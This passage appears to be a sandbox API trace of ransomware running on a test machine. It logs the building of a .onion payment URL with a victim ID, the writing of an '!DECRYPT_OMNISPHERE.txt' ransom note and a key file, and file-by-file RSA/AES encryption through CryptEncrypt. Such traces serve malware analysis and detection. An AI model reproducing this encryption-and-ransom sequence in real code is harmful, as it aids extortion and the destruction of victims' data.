lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0062.951] GetProcessHeap () returned 0x1600000 [0062.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641c50 [0062.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641c50, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0062.951] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0062.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0062.951] GetProcessHeap () returned 0x1600000 [0062.951] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fa90 [0062.951] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fa90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0062.951] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0062.952] GetProcessHeap () returned 0x1600000 [0062.952] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c168 [0062.952] PathCombineW (in: pszDest=0x163c168, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0062.952] GetProcessHeap () returned 0x1600000 [0062.952] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16534c0 [0062.952] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.952] WriteFile (in: hFile=0x3a0, lpBuffer=0x16534c0*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x16534c0*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0062.952] CloseHandle (hObject=0x3a0) returned 1 [0062.952] GetProcessHeap () returned 0x1600000 [0062.952] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1652fa0 | out: hHeap=0x1600000) returned 1 [0062.953] GetProcessHeap () returned 0x1600000 [0062.953] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f200 [0062.953] PathCombineW (in: pszDest=0x163f200, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0062.953] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.953] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0062.953] CloseHandle (hObject=0x3a0) returned 1 [0062.953] GetProcessHeap () returned 0x1600000 [0062.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163f200 | out: hHeap=0x1600000) returned 1 [0062.953] GetProcessHeap () returned 0x1600000 [0062.953] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163a730 | out: hHeap=0x1600000) returned 1 [0062.954] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1225000, ftCreationTime.dwHighDateTime=0x1d4c8ec, ftLastAccessTime.dwLowDateTime=0xc20dfb60, ftLastAccessTime.dwHighDateTime=0x1d4d11d, ftLastWriteTime.dwLowDateTime=0xc20dfb60, ftLastWriteTime.dwHighDateTime=0x1d4d11d, nFileSizeHigh=0x0, nFileSizeLow=0xab3e, dwReserved0=0x0, dwReserved1=0xed, cFileName="1X4wmVa.bmp", cAlternateFileName="")) returned 1 [0062.954] GetProcessHeap () returned 0x1600000 [0062.954] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x66) returned 0x163a1f0 [0062.954] PathCombineW (in: pszDest=0x163a1f0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="1X4wmVa.bmp" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp" [0062.954] StrStrW (lpFirst=".omnisphere", lpSrch=".bmp") returned 0x0 [0062.954] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\1X4wmVa.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\1x4wmva.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0062.954] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=43838) returned 1 [0062.954] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0xa61a, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0062.954] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500d7 [0062.955] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.956] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] GetTickCount () returned 0x11500e7 [0062.957] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163b860) returned 1 [0062.958] CryptImportKey (in: hProv=0x163b860, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x16396e8) returned 1 [0062.958] CryptEncrypt (in: hKey=0x16396e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0062.958] CryptDestroyKey (hKey=0x16396e8) returned 1 [0062.958] CryptReleaseContext (hProv=0x163b860, dwFlags=0x0) returned 1 [0062.958] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xab3e, lpName=0x0) returned 0x3a4 [0062.958] MapViewOfFile (hFileMappingObject=0x3a4, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xab3e) returned 0x3430000 [0062.959] CryptAcquireContextW (in: phProv=0x3e0e138, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0e138*=0x163c0e0) returned 1 [0062.960] CryptImportKey (in: hProv=0x163c0e0, pbData=0x3e0e0f0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e148 | out: phKey=0x3e0e148*=0x1639528) returned 1 [0062.960] CryptSetKeyParam (hKey=0x1639528, dwParam=0x4, pbData=0x3e0e12c*=0x2, dwFlags=0x0) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0e134*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0e134*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.960] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.961] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.962] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.963] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.964] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0062.965] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, 